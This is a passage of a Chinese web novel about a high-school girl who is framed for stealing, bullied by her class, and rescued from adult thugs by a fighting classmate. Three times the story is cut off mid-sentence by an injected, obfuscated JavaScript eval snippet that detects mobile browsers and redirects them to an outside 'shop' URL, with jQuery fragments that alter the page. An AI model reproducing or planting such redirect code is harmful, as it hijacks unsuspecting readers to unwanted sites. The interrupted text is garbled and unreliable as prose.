阿天的兄弟们看大势已去,也顾不上阿天,屁滚尿流地跑了。 猴子给他们让开路,阿天都已经被打趴了,这波人也翻不起什么浪来,逃就逃了。 韩山鼻梁上有一道血痕,在暗黄的灯光下格外刺眼,他居高临下看着阿天,用甩棍敲了敲他的头,慢条斯理说:“还找事吗?”睥睨的眼神仿佛在看一团垃圾。 阿天带着哭腔求饶:“不找了,再也不找了!!!以后这一片儿您是老大!!!还请您、请您高抬贵……贵脚!”他还能动的双臂伸到前面艰难拜了拜,以示真心。 韩山冷笑一声,收回长腿,“滚吧。” 阿天一骨碌爬起来,撒腿就跑,眨眼间没影了。 猴子过去捡起墙边的篮球,递给韩山,竖起大拇指说:“老大,您刚才可真是太帅了!” 韩山接过篮球,笑得桀然不羁,“走啊,上网去。” “走走走!”猴子吆喝剩下的十几号弟兄们,带队往前走。 四眼也在其中,推了推眼镜,打开物理课本,边朗读公式边跟上队伍。 韩山走在最后,片刻想起什么,脚步顿了顿,回眸看了眼那排垃圾桶。 他的目光锐利深沉,仿佛能洞察一切。 叶子怕被发现,立刻又往阴影中缩了缩。 韩山什么都没做,只是看了一眼,迈开长腿跟上队伍。 等他们走后,整条街彻底安静下来,叶子才敢从垃圾桶后面出来,“臭死了!” 她一路小跑回了家。 夜深,叶子学习完躺在床上,回想起今日被欺负孤立的场景。 她觉得她不能这样任人宰割下去,但是反击吧,又容易被反咬一口,万一又惊动老师叫家长怎么办? 得想一个两全其美的方法…… 想着想着她睡着了。 因为睡得晚,第二天她差点没起来,飞奔到教室的时候,教室不知道因为什么炸了锅,赵育芳也在。 看到她来了,同学们像是找到了靶子,群起而攻之:“你怎么偷别人钱啊!小偷!” “快把钱还给娇娇,你个小偷!” 叶子本来就睡得有点懵,被这么一骂更懵了,“啊,我没偷东西啊。” 赵育芳也很无奈,招手让她过来。 叶子走上讲台,看到教室电脑上正放着昨晚放学后教室的监控视频。 赵育芳示意她看,她困惑地看向屏幕。 昨晚她发现值日工具不在了后,就离开了教室,差不多一个小时才回来。但监控画面上却显示,在她离开半个小时后,一个跟她一模一样的身影进来,来到沈娇娇的座位,摸走了她遗忘在桌膛里的钱包! 据沈娇娇所言,那包里有足足五百块钱。 五百块,在当年不是小数字。 叶子越看越清醒,浑身起了一层鸡皮疙瘩,整张脸都白了。 她很清楚地知道,有人在陷害她! 有人故意拿走值日工具,趁她离开教室后,扮作她的样子陷害她! 她浑身颤抖,为何会有人如此可怕,他们才高一啊! 叶子下意识抬头,想去看董婉凝,董婉凝也在看着她,她一下子对上了董婉凝的眼睛。 那双眼又黑又冷,就像蛰伏在静谧丛林中的一条毒蛇。 叶子的唇瓣不停地在抖,背后生出一片寒意。 讲台下的辱骂声在她耳边炸开,她知道她不可能说得清,绝望地对赵育芳摇了摇头,“不是我……” 赵育芳目光带着失望,似乎在说,真没想到你是这样的孩子。 叶子咬住唇,喉咙仿佛被什么卡住,一个字都说不出。片刻,她转身冲出了教室。 赵育芳追到教室门口:“叶子!回来!” 叶子没有回头。 叶子冲出教学楼,突然想到一件事,猛地停下来。 这样会不会被叫家长啊? 她忍不住地哭,回去吧,她不想面对那些指责与栽赃,不回去吧,又怕班主任叫她家长。 她心想,为什么老天爷要这么折磨她? 最终她还是选择了回去。 哪怕自己受点委屈,她也不想再惊动父母了。 同学们嘲笑她的言论又多了一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713069|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :你不是跑了吗,怎么又回来了?真没骨气! 短短一周,她第三次被老师带进办公室训话。叶子倔强地说:“真的不是我干的!昨天有人把值日工具拿走了,我先是去隔壁班找同学借,没借到又去学校储物间找,可储物间的门已经锁了,我只能自己去超市买。新买的值日工具就在柜子中。是有人故意扮作我的样子栽赃陷害我!” 赵育芳怀疑地看着她,似乎在分析她话的真实性。 陷害?至于吗? 叶子:“没干过就是没干过,栽赃我我也不会承认!如果老师实在不信,就调出前天晚上我走之后的监控,看看是谁拿走了值日工具。” “行。”赵育芳成全地点了点头,立刻打开监控录像,将时间拨到前天晚上她值完日离开之前,画面显示值日工具被她自己收进了工具柜。 赵育芳调到十二倍速播放,时间轴飞快地滚动,叶子动作也变得飞快,收完工具就锁门离开了。 教室持续了很久的寂静漆黑,渐渐的,窗外的天空一点点亮了起来,整个晚上并没有人进入教室。 叶子本来胸有成竹,觉得谁偷了工具,就是谁在陷害她,然而事实却让她瞠目结舌。 一上午没有人动工具柜,中午放学,所有人走光之后,突然有个人独自回到了教室。 赵育芳立刻将视频调回原速,只见她左右瞧了瞧之后,分两趟拿走了全部的值日工具。 赵育芳瞥了叶子一眼,用力点了两下鼠标,画面定格在她转身的瞬间,赵育芳快速滚动鼠标滚轮,放大她的脸。 那年的监控画面分辨率低,无法清晰地看清人的相貌,只能大概看个轮廓。 她规规矩矩穿着一身校服,留着学生头,小脸尖尖的,皮肤白皙。 这个人不是别人,正是叶子自己! 叶子脸色苍白,那个人在拿走值日工具的时候,就已经扮作了她的模样! 叶子哑口无言,心服口服。 做的真绝啊。 能做到这地步,得多恨她啊。 赵育芳看向她,目光仿佛在说:满意了? 叶子深吸一口气摇摇头,眼底的泪花摇摇欲坠,“如果真是我做的,我会这么蠢吗,明知道教室有监控还去做?而且我跟沈娇娇没有任何过节甚至都没说过几句话,我干嘛要偷她的钱啊?” 赵育芳:“因为你想买专辑,钱不够。” 理由都帮她想好了。 叶子声音颤抖:“老师,连你也不相信我吗?” 赵育芳语气冰冷地陈述一个事实:“我不是不相信你,而是现在所有证据都指向了你。” 叶子:“这是诬陷!请老师彻查董婉凝!” 隔壁班的劳委很明白地告诉她是董婉凝不让他们借给她工具,那幕后黑手肯定也是董婉凝了。 赵育芳似乎憋着火,沉默地看着她,半晌没有表态。末了她语重心长说:“我知道你跟董婉凝有过节,你就算怀疑她也要有证据。” 叶子抹了把眼泪,她也知道,在董婉凝的威压下,不会有人给她作证。 “可真的不是我做的……”她苍白无力地给自己辩解。 第一节课的下课铃响了,赵育芳最终让叶子回去了,叶子刚关上办公室的门,一堆书本便劈头盖脸砸了过来。 她尖叫一声,下意识抬起胳膊挡住脸。书本砸在她的胳膊上,身上,头上,然后噼里啪啦掉在地上。纸张的边缘锋利如刀,割破她的手指。 她忍住痛,咬牙没出一声。 同学们将她堵在办公室门口,叫她小偷,逼她还钱。 尤其是沈娇娇本人,站在人群后,用一种看仇人的眼神看着她。 6. 龙卷风 董婉凝趁着课间偷偷来到学校后操场,阿天在这里等她。 他是翻墙进来的,这年头学校治安漏洞很多。 他顶着眼圈的黑印和鼻梁的淤青,额头缠了一圈纱布,穿着棕色皮夹克、工装裤,双手插兜吊儿郎当靠在墙边等她。 他指间夹着一根烟,看见董婉凝过来不动声色把烟掐了,放进胸前口袋。 董婉凝小跑到他面前,其实她腿上的烫伤并没有那么严重,那天小萌接的水兑过凉的,并不是纯开水,及时涂了药养了一天就不疼了,她故意在老师面前一瘸一拐走路显得自己被烫得很严重。 她一过来便着急地说:“你这伤是怎么回事,又跟韩山打架了?”她捧住他的脸,对他的新伤左看右看,很是担心。 阿天浓眉大眼,鼻梁高挺,也是个帅哥,可如今快要被韩山揍得破了相。 “问题不大。”阿天温柔地将她的手拂开,环视四周,“这可是在学校,注意着点,别被发现了。” 董婉凝依然急切:“没事,这个时间不会有人来后操场的。是韩山打的你吗?” 阿天安抚地抓住她的手腕,并没有回答她,而是交代说:“这段时间消停点,不要再惹事了,也不要惹那个书呆子。” 书呆子叶子。 董婉凝极不理解地蹙眉:“为什么?他威胁你了?他们不是根本不认识吗?” 阿天无奈:“可是你造谣把他俩扯一块了,要收手肯定一起收手啊,不然算怎么个事?你胆子也是真大,扯谁不好扯上他!” 董婉凝委屈说:“我不就是想顺便帮你出口气吗,谁知道会这样啊……” 阿天软下声说:“那你之后消停点,别再惹事了,听到了吗?” 董婉凝不假思索:“我可以不惹韩山,但是叶子不行。我看她不顺眼好久了。” “我的姑奶奶!你是真不怕我死啊!”阿天咆哮。 “怎么了,这是我俩的私人恩怨,跟韩山又没关系,你怕什么?诶不对——”董婉凝突然反应过来,“你什么时候这么会怜香惜玉了?” “不是我怜香惜玉,是那个书呆子变数太大了,不好掌控。万一她真去抱韩山大腿,你我可都要完蛋!”阿天手轻轻抚过她的头顶,停在后脑勺,哄道:“婉婉,见好就收吧。” 董婉凝大力甩开他的手,发火说:“少在这见好就收!我本来就讨厌她!你再怜香惜玉咱们就分手!” 阿天看着她,半晌没说话,最后叹了口气说:“那你小心着点,别惹到韩山。” 昨天韩山已经教训了他,他可不想再挨打了。 董婉凝两臂环胸抱在身前,一副志在必得的骄傲模样:“那肯定不会,我现在已经有了帮手,很多事压根不用我去做。” 阿天调侃:“谁又成了你的枪.杆.子了?” 董婉凝没有回答,露出一个得意的笑容。 * 叶子在办公室门口被砸书本,声音惊动了赵育芳,赵育芳又开门将她领了进来。 赵育芳建议叶子请两天假回家调整调整,被叶子果断拒绝了:“分班考试在即,我不想耽误学习。而且钱不是我偷的,请假显得我心虚一样。”她抹了把眼泪,模样委屈巴巴的,可语气却倔强坚决。 赵育芳忧心忡忡:“可能这里面确实有误会,但你现在的状态……” 叶子知道班主任是指她被同学们孤立、欺负的事情,说实话,她也不知道怎么办,但她不想逃避。她做了个吐纳说:“我会找到解决办法的。” 这也是安慰自己,会有解决办法的。 赵育芳只好让她回去了。 这会儿已经上课了,没有人再在办公室门口堵她,她当什么事都没发生一般进了教室,低头不看任何人。 她感觉到很多目光扎在她身上,还有一些看好戏地揶揄声。董婉凝坐在自己座位上,嘴角噙着一抹恶意的笑。 然后叶子就知道了他们为什么笑。 走到座位前,她看到自己椅子上被人洒了红墨水。 她现在已经有些麻木了,而且她明白,她越是生气或是伤心难过,欺负她的人越是满足,她顿了两秒,毫无波澜地从兜里拿出面巾纸来弯腰擦干净,然后坐在座位上,翻开书本听讲。 董婉凝笑意微凝。 周围的讥笑声顿时没了。 这一天,她认真学她的习,不去管外界的声音,实在受不了就拿出耳机塞进耳朵,随便放点轻音乐听。 下午放学,她早早做完值日,趁天还大亮,坐公交来到二手市场。 一连转了好几家影音店,终于找到一家卖她喜欢歌手专辑的,还摆了整整一货架。她拿出一张问老板:“叔叔,这个多少钱?” 老板大叔吃着泡面看着电影,不耐烦地瞥了一眼,“一千块。” 叶子震惊:“一千块!” 老板嗦着面条含含糊糊地说:“他的,就这价。” 叶子感觉自己被刷新了金钱观,对这张专辑肃然起敬,她又仔细看了看,发现包装上居然没有正版标志,她有些奇怪:“老板,这个好像是盗版吧……” 老板耐着性子说道:“盗版怎么了?正版你买的到吗!你不买有的是人买!” 叶子失望地将专辑塞了回去,“那叔叔,你这有正版吗?” 既然是开影音店的,不可能没有正版渠道。 老板却没回答:“不买赶紧走!” 叶子更失望了,双手抓着书包肩带,又恋恋不舍地看了货架一眼,虽然很想买他的专辑,但她也不能没底线地支持盗版。 她转过身正要离开,有一个声音突然从背后响起:“我有正版。” 她惊喜地回过头,楼梯上下来一个男生,个子不是很高,大概一米七多,身材匀称,留着寸头,穿着跟她一样的校服,干干净净。 老板轰他走:“好好写你作业去!” 叶子诧异地看了老板一眼,又看看男生,眼里有疑惑。 男生连忙解释:“那是我爸。” 叶子恍然大悟,看着他,友好地弯了弯眼睛。 她的杏眼圆圆亮亮的,一眨一眨,就像星星一般,男生有几分羞涩,挠挠头说:“我已经拷贝完了,你想要的话,我可以送你……” 叶子还没反应过来,老板先炸了,撂下筷子冲过来吼道:“我花钱给你买的专辑你转头就送人?你有没有商业头脑!” 叶子十分尴尬,忙说:“叔叔您别急,我跟您儿子又不认识,本来也没想白拿的。” 老板听了这话才平静下来,半信半疑打量她。 男生默默垂下头。 叶子:“那叔叔,您开个价吧,既然您儿子愿意卖,我买!” 叶子让男生拿来专辑,包装和光碟上都有正版标志,她又试听了一下,确认音质绝对是正版。 男生被老板训了之后不敢说话了,看着叶子跟老爸讨价还价。 老板说:“盗版都卷到一千块了,这个你怎么着也得给我两千块才行!”他竖起两根手指。 叶子说:“两千?你是坐地起价吧!原价才多少,何况你还是二手!” 老板:“二手怎么了?物以稀为贵,二手只会越来越贵!” 叶子露出怀疑的神情,她知道专辑原价多少,但不知道现在二手市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老板看到儿子这种反应,顿时明白了什么,揪着他耳朵往里走,“嘿你这兔崽子!拿老子钱哄女娃娃开心!” 收到了专辑,叶子脚步轻快了很多,不自觉地哼起歌来。 深邃的夜空铺满了星星,月亮洒下皎洁的光,她吸了口清凉的空气,觉得这个夜晚真美好。 然后她就路过一家钟表店,看到表盘上的时针指着数字九。 现在已经晚上九点半了。 她当即一惊,出走一晚上的时间概念瞬间回归,她找专辑找得太过投入,完全忽略了时间的流逝。 完了,搭不上公交了! 她拔腿向公交站牌奔去。 最后一班公交是晚上九点,早就已经走了,她一路狂奔,赶过去的时候站牌连个人影都没有了。 她喘着气,数了数自己身上的钱,块八毛的,也不够打出租啊。 难道要走回去吗?她迷茫地揉了揉头发。 她想了想路也不是特别远,走也能走过去,只是时间有些长,到家或许都十一点了。 她一咬牙,算了,跑吧! 十点,路上人越来越少了,只有来往的车辆,风驰电擎。 她跑得气喘吁吁,路上的霓虹灯影在她身上飞快地掠过。 终于,她跑到了学校附近,再有不到半个小时她就能到家了。 她扶住两个膝盖大喘气,胸口噗噗直跳,嗓子火辣辣得疼。 便在这时,她注意到学校门口有一群人影在徘徊。 这么晚了谁在那? 叶子凝神仔细看去,他们穿着西装,身材高大,面相老成,一看就是社会上的人,其中一个居然还带着墨镜,那股气质告诉叶子,此人绝非善类。 他们有十来号人,分散地守在校门口,左右徘徊,视线一会扫视四周,一会儿扫视校内,似乎是在蹲什么人。 叶子浑身鸡皮疙瘩,心想此地不宜久留,绕开学校大门飞快地跑开了。 十点五十,叶子平安到家。 7. 龙卷风 叶子已经过完十六周岁生日,可以打工赚钱了。周末两天,她找了家饭店,给人当了两天服务生,赚了五十块钱。 这钱是她用来买专辑的,她算了算,一周五十块,一个月就是两百块,不到三个月她就可以买到了! 她兴奋了一瞬,又马上泄了气,三个月也不短啊…… 可一定要给我留着啊,她默默祈祷。 * 周一早上,学校举行升旗仪式,叶子往操场走的路上,被人从后拍了拍肩膀。 她没有朋友,这段日子也总被欺负,谁会拍她肩膀? 她诧异回过头,发现眼前的面孔很熟悉。 男生,寸头,腼腆的笑容。 她惊讶说:“诶?你不是那个……”她突然不知道怎么形容,“那个……那个卖我专辑的!” 此人正是那晚影音店卖她正版专辑的男生。 男生不好意思地挠了挠头,“嘿嘿,是我。我叫步一凡,我爸起的名字,希望我不平凡。”他干巴巴做自我介绍。 叶子笑了,她长相本就甜美,笑起来脸蛋有两个小梨涡,露出两颗小虎牙,更甜了。 叶子说:“我叫叶子。” 步一凡不擅长跟女生交往,没说两句话就害羞,他低头小声说:“嗯,我知道……” 照片墙上见过。 叶子随口问他:“你高几啊?” 步一凡:“高二,比你大一届。” 叶子认真地点了点头,不知道再说什么了,聊天她是真不擅长,她平常只会有事说事。 空气突然变安静,尴尬的氛围在二人间蔓延。 叶子大脑飞速转动,找个什么话题跟他聊好呢? 让她解一道题她能想出好几种解法,但让她找话题聊天,她大脑一片空白。 步一凡或许也察觉到,说了句:“我去站队了。”一溜烟跑了。 叶子松了口气,有个词叫社恐,很适合形容她。 看着他跑进高二的位置,消失在人群中,叶子突然想起,忘了提醒他留专辑的事了。 应该能留住吧,她脑子里有一搭没一搭的想。 叶子并没注意到,韩山和他的兄弟们正在她身后一段距离。 猴子勾着韩山的脖子,一脸揣摩地说:“啧啧,这书呆子看起来挺乖的,没想到竟认识高二的。” 后面的四眼从生物课本中抬起头,“啊?” 猴子一巴掌呼过去,“没说你!” 韩山黑眸注视着叶子的背影,平静如水。 胖哥憨笑着说:“其实这书呆子长得还挺可爱的。” 韩山看他一眼。 * 升完旗回教室,叶子经过走廊,忽然注意到楼道展板上的她的满分作文被人画得乱七八糟,写满“臭婊.子”,“贼”,“c12的蛆”这种污言秽语,正中央用红色水彩笔写了大大的两个字母——SB。 她顿住,完全不知道这是什么时候的事,她现在才发现。 背后传来讥笑声,经过她的男生们在嘲笑她。她下意识攥紧拳头,怒火在心中熊熊燃烧。 她一把撕掉那张作文纸,揉成团砸向他们的背影,气得浑身发抖。 他们大笑跑开,纸团并没有砸到他们,掉在了地上。 “欺人太甚。”叶子咬牙切齿地说。 她原本还抱着幻想过个周末,大家就能忘了她的事,事实证明纯粹是她想多了,他们根本不会放过她。 纸团慢悠悠滚到一双白色篮球鞋旁边,叶子一怔,抬眸看去。 身高一八八的男生站在她眼前,神色冷淡。 他停步,垂眸看着脚边纸团,弯下腰,骨节分明的手指捡了起来。 叶子又羞耻又尴尬,慌忙钻进教室躲了起来。 韩山一边往前走,一边展开纸团。 这张作文,便是他之前因为字迹好看注意到的那张。 那时他还刻意留意了作文纸上的名字:叶子。 此刻这张纸上被画了大大的两个字母,破坏了原本秀丽潇洒的书面。通篇污秽,字迹狰狞丑陋,能看出写这些字的人才是蛆虫。 韩山黑瞳微沉。 叶子在教室里心惊胆战看着他经过,懊恼极了。 好丢人…… 丢人丢到别的班去了。 而今天叶子的遭遇也并没有比上周好一些。 数学课上,老师让小组讨论问题,叶子知道没人愿意理她,索性主动放弃,安静看自己的课本,自己思考。 雷振刚很快发现了她这个“不合群”的人,面色严厉地质询,“大家都在讨论问题,怎么就你特殊?”语气隐含斥责之意。 教数学的雷振刚人如其名,脾气火爆,而且非常严格,哪怕是班里顽皮的男生都不敢惹他,在他的课上老实得像变了个人。 叶子的组员们纷纷暂停了讨论,抬头看她。 嘈杂的教室中突然有一部分安静,是很明显的,其他组也接连安静了下来,看向叶子。董婉凝懒散地抬眸,看到雷振刚站在叶子旁边,唇边漾出笑意。 叶子也不知道怎么解释,说了还像告状似的,索性什么都没说,端着课本把身体转向组员们,来表示“我现在讨论”。 雷振刚念在叶子成绩不错的份上,没再说什么,走开了。 教室渐渐恢复讨论。 叶子垂着头,依然看自己的课本,不看任何人,她的组员们审视她几眼,全把她当空气,只讨论他们的。 周一是有班会的,在下午放学之后。赵育芳特别强调了同学们之间应该友好相处,互帮互助,不能用暴力解决问题。 班里那个叫赵德汉的男生立刻接话说:“那小偷的问题怎么解决?” 班上一下子热闹起来。 赵德汉是他们班数一数二皮的男生,平常最爱接老师话茬,嘴最欠。之前还把足球踢到叶子脑袋。 赵育芳被问了个措手不及,也不知道这话怎么接。 叶子一言不发低着头,一下一下按着手里的按动中性笔,脸上没有情绪。 大家沸沸扬扬地讨论,比课堂讨论都积极,声音都大: “小偷什么时候还钱啊?” “偷东西的贼就应该抓起来枪毙!” “人品太差了,怪不得没朋友!” 赵育芳愤怒地敲讲桌:“安静!赵德汉!去外边罚站!” 赵德汉振振有词:“我又没说错,我才不去。”说完又咧嘴笑。 同学们为他的大义欢呼鼓掌。 坐在角落中的董婉凝美美隐身,晃动着二郎腿,悠哉旁观着这一切,唇边勾着一抹冷血的笑容。 赵育芳气极了,大喊几次安静,没有人搭理她,班长也在帮忙维持纪律,依然无用。有人向叶子扔纸团,砸到她的头,还有人甩钢笔,弄了她满后背的墨点。 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713071|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一动都没动,只有手中的按动中性笔咔咔咔咔地响。 赵育芳喊不动了,离开教室去拿扩音器。 老师走了,他们更加放肆,纸团一个接一个砸向她,还有人喊道:“都是你,把老师都气走了!” 叶子忍无可忍,一拍桌子站起来,“不是我偷的!你们有完没完!” 她手中的按动中性笔被她一巴掌拍了出去,飞到一个女生脚边。 教室蓦地安静了,落发可闻,他们好像就是为了激怒她似的,听她发几句飚,或者掉几滴眼泪,才肯罢休。 叶子眼底微红,泪珠在眼眶打转,但她的声音没有一点哭腔,铿锵有力:“你们看到的就是事实吗?你们以为的就是真相吗?你们欺负人就代表正义吗?狗屁!”她随手把桌上摞的书打飞出去。 越是安静,她的声音便越显得洪亮,书本摔在地上发出响亮的声响,楼道里都在回荡。 赵育芳这时匆匆拿着扩音器回来了,也被这安静凝重的氛围吓了一跳。 反正已经放学了,这时候走应该不算违反纪律,不会被叫家长。 叶子抄起书包抱在怀里,推开赵育芳夺门而出。 “欸!”赵育芳明显也有些不知道怎么办了,看着她的身影消失在走廊尽头。 整个教室噤若寒蝉。 不用问赵育芳就知道发生了什么,她转而扭过头,把扩音器往讲桌上一摔,“造反啊!?” 叶子哭着下了楼梯,冲出教学楼。 * 天很快黑了下来,叶子漫无目的地在学校附近徘徊,她不想回家,也无处可去。 大街上车来车往,到处都是人,边哭边走会很奇怪,她强忍着始终没有让眼泪掉下来。 街边的路灯依次亮起,温暖的灯光映照她单薄的身影。路上遇到的都是成群结伴的男生女生,形单影只的只有她一个。 她看天渐渐黑了,该回家了,想起自己班会上跑得太急,练习册、作业本都没带,没法写今天的作业了。 想着想着,她更委屈了,她觉得他们说的没错,她就是没骨气,都这种时候了还在想作业的事。 可是没办法,她要高考啊。 她父母工作那么辛苦,她必须得有一个好前途。 叶子迅速把即将落下的眼泪抹去,还是决定回去拿一趟,这个点了大家肯定也都走了。 她回到教室时发现她打飞的书本还有笔都被捡回来放在了桌上,应该是班主任让捡的,他们没那么好心。 她找出今天的作业还有要复习和预习的内容,整理好放进书包。 满地纸团竟然也被清理了,地上干干净净,今天的值日似乎已经有人做了。 看起来是好事,但她总觉得这样只会招来他们更狠的报复。 她背上书包锁好门,从教学楼离开。 此时天已经完全黑了下来,学校里已经没有人了,门卫也不知去了哪里,警卫厅空荡荡。 叶子出校门时,发现那群穿着西装的成年人又在校外徘徊。 叶子不知道他们到底是干什么的,但他们浑身散发的流氓气质让她感到不安。 在她看到他们的同时,他们也看到了她,短暂的目光交汇后,叶子紧张地低下了头。 她双手握紧书包肩带,逃似的飞快地出了校门,不知道为什么,她觉得他们的目光不怀好意。 这么晚了,他们到底在蹲谁? 8. 龙卷风 想到自己最近得罪了董婉凝和沈娇娇,说不定他们就是冲着她来的,叶子撒腿就跑。 那些人当即追了上去。 糟了,还真是冲着她来的!叶子大脑空白一片。 怎么办,这该怎么办? 此时离放学时间已经过去很久,学校又位于郊区,路上已经没什么人了,只有一家便利店亮着灯。 报警!叶子突然想到,我要报警! 她冲进便利店,抄起柜台上的电话按下110,看店的是个胖女人,不满地盯着叶子,“让你用了吗?” 那群人中跑得最快的墨镜男追进便利店,一把抢过她手中的话筒,按下电话的挂断按钮,“还想报警?” 胖女人尖叫一声,缩到角落。 叶子难以置信睁大眼睛,连连后退,回头看了眼。 最里面的货架旁有一扇窗户。 她毫不犹豫奔向那扇窗户。 墨镜男追上去,她扯倒货架制造阻碍,踩着箱子打开纱窗,爬了出去。 货架倾倒,商品噼里啪啦砸在墨镜男身上,墨镜男爆了句粗口,“妈的!” 后面的大部队此刻也追进便利店,墨镜男给他们下令,他们分成两队绕路去堵叶子。 便利店后面是一条漆黑的死胡同,叶子从窗户跳下来,飞奔出胡同,左右看了看。 胡同外是一条巷子,路灯幽暗。七八个人从路尽头追了上来,叶子转头想往另一个方向跑,而另一个方向也有人追来。 路边有几家店还在营业,她的大脑飞速转动,一瞬间闪过好几个念头。 到店里躲?向店主求助?还是调头回学校? 会有人帮她吗? 便在这时,有吵闹声传来,几个男生掀起门帘,从一家店走了出来。 那是一家没有招牌的网吧,门窗被厚厚的帘子遮挡,从外面看漆黑一片,但透过帘子缝隙的光,依然能看出是在营着业——很明显的黑网吧,不会有未成年约束。 两个男生簇拥着中间最高的男生,嘻嘻哈哈说着脏话,还有一个戴眼镜的男生捧着课本跟在他们后面。看起来是上完网正要回家。 韩山和他的兄弟们。 叶子一眼便认出他们,脑中闪过那晚韩山打架的画面。 以篮球做武器,灵巧地从房顶跃下,所有人都怕他。 而逃课那天,韩山制止了兄弟们抢她的钱,没有伤害她。 这些零零碎碎的记忆在她脑中飞快地串成线,告诉她一件事: 他可以保护她! 人在极度慌张的情况下有些行为是快过大脑的,从看到他们的一瞬,她的潜意识便让她拼了命向他们奔去。 奔跑中她脑中浮现出那些画面,更坚定了她的本能。 他们正沿着街边往前走,猴子察觉到什么,回头看过来,顿住了,神色凝重地用胳膊肘碰了碰韩山:“哎,弥哥。” 韩山头上戴着耳机,放松地两只手来回丢着篮球,似乎没听到,依然在往前走。 猴子和胖哥停下来,看着叶子跑过来。 叶子抓住猴子的衣服,躲在他身后。 那伙人气势汹汹追上来,胖哥中气十足地往前一站,大喝一声:“干什么!” 胖哥的胖不是虚胖,而是壮,他的身体仿佛是一道墙,轻易地就带给叶子安全感。 这时韩山终于听到了动静,拨开套头式耳机,转过身。 眼前是个什么情况,他再敏感不过,高挺眉骨下的黝黑眸子陡然变得锐利。 四眼看课本看得投入,完全不知发生了什么,捧着课本撞在韩山身上,慢吞吞抬头,推了推眼镜。 追叶子的那伙人中也有老大,就是那个墨镜男,他上前一步把墨镜一摘,优雅地放进胸前口袋,“这事跟你们没关系,几个小屁孩,让开。”他声音压得极低,带着威胁命令之意。 猴子立马来劲了,不仅不让,还挺着胸上前:“叫谁小屁孩呢?”他个子一米八,比墨镜男还高,气势倒是不输。 墨镜男冷笑一声,嘲讽道:“别以为嗓门大就是大人了,小屁孩。”他尤其加重了最后三个字。 猴子讥诮:“呦呵,说不定你连小屁孩都打不过。老大,这不上?” 韩山拿着篮球,脸色阴沉沉的。此刻他的沉默显得更加危险。 墨镜男十分嚣张地说:“你们几个小屁孩现在滚还来得及,否则……” 猴子撸起袖子上前两步,“否则什么?谁输谁赢还不知道呢!” 墨镜男并没有被激怒,反而很胸有成竹的样子,轻笑一声,回头看了眼自己的十几号人,打这四个小屁孩不是绰绰有余? 胖哥拉了猴子一把,对墨镜男客气说:“哥,这是我们一个学校一个年级的同学,你们别欺负她,我们自然就滚了。” 叶子从来没觉得这么有安全感过,躲在两个男生背后怯生生往外看。 在他们争论的同时,韩山搁下书包,无言地活动了活动脖子和肩膀。四眼将课本卷成筒,这是他的武器。 墨镜男失去了耐心,阴测测说:“你们非要多管闲事,我也奉陪。” 然而他还没动手,话音刚落,“砰!”地一声闷响,一个篮球重重砸在他脸上。 墨镜男顿时眼冒金星,鼻孔流出血来。篮球从墨镜男脸上飞过去,笔直地射向他身后的十几号人。 那帮人惊慌四散,躲避篮球,叶子更是吓得一缩,下意识回头,看向篮球的来源。 他的目光阴鸷,神色狠辣。 墨镜男定了定神,抬起眼,目光越过猴子和胖哥,向韩山看去,眼里终于有了一丝慌张。 韩山丢下耳机,一步一步走来,步步带着压迫感,随着距离的缩短不断攀升。 墨镜男本能地害怕,抑制不住浑身颤抖,然而嘴上依然不服气叫嚣:“你他妈谁啊?信不信老子——” 他话没说完,韩山一拳打在他的脸颊。 墨镜男差点斜飞出去,两颗带着血的牙掉在了地上,叶子睁大了双眼,倒吸一口凉气。 墨镜男捂着自己的脸,鼻孔嘴巴都是血,惊恐又不敢相信地回过头。 韩山嘴角带着一丝挑衅的笑意,眉毛动了下,示意他还手。 墨镜男感觉自己受到侮辱,当即扬起拳头,全力向韩山击去。 韩山面色从容,一掌包住他的拳头,将他一拉,墨镜男整个人卸了力, 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墨镜男的人还剩下两个,吓得魂飞魄散,一时忘了逃跑,两腿颤颤站在原地。 韩山看向他们,下巴轻抬,来啊。 那两个哪里敢上,转头连滚带爬地跑了。 猴子得意极了,仿佛人是他打的,对他们的背影挥了挥拳头,“出息,玩不玩得起!” 墨镜男发现他们虽然人不多,但真有能打的,喉结滚了滚,颤抖地说:“小兄弟,是我有眼不识泰山,您手下留情,手下留情……” 猴子揪住墨镜男的耳朵用力拧,“你不是挺傲的吗,嗯?” 墨镜男痛得嗷嗷叫,“错了错了,再也不敢了!” 韩山扔开他,“别让我再看见你,滚。” 墨镜男连连应是,拉起地上那个打滚的,逃命般跑了。 韩山冷冷收回目光,视线在叶子身上停了停,没说什么,转过身沿着街边继续往前走。 叶子战战兢兢看着他,吞了口唾沫。 猴子和胖哥殷勤地捡起他的书包篮球和耳机,小跑跟了上去,四眼重新打开课本,慢悠悠走在最后。 叶子心有余悸地回头看了眼墨镜男离开的方向,生怕他们回来,慌忙跑起跟上。 她刚才害怕地躲在一边,目不转睛看着韩山,简直看傻了。 她第一次见武打片里才有的动作画面出现在生活中,心中油然而生一种敬意。 赤手空拳,以一敌百…… 要是在古代,高低是个大侠。 叶子和他们的家并不在一个方向,同行一段路后便要分道扬镳了。 叶子双手抓着书包肩带,与他们保持着一段距离,默默跟在他们身后。 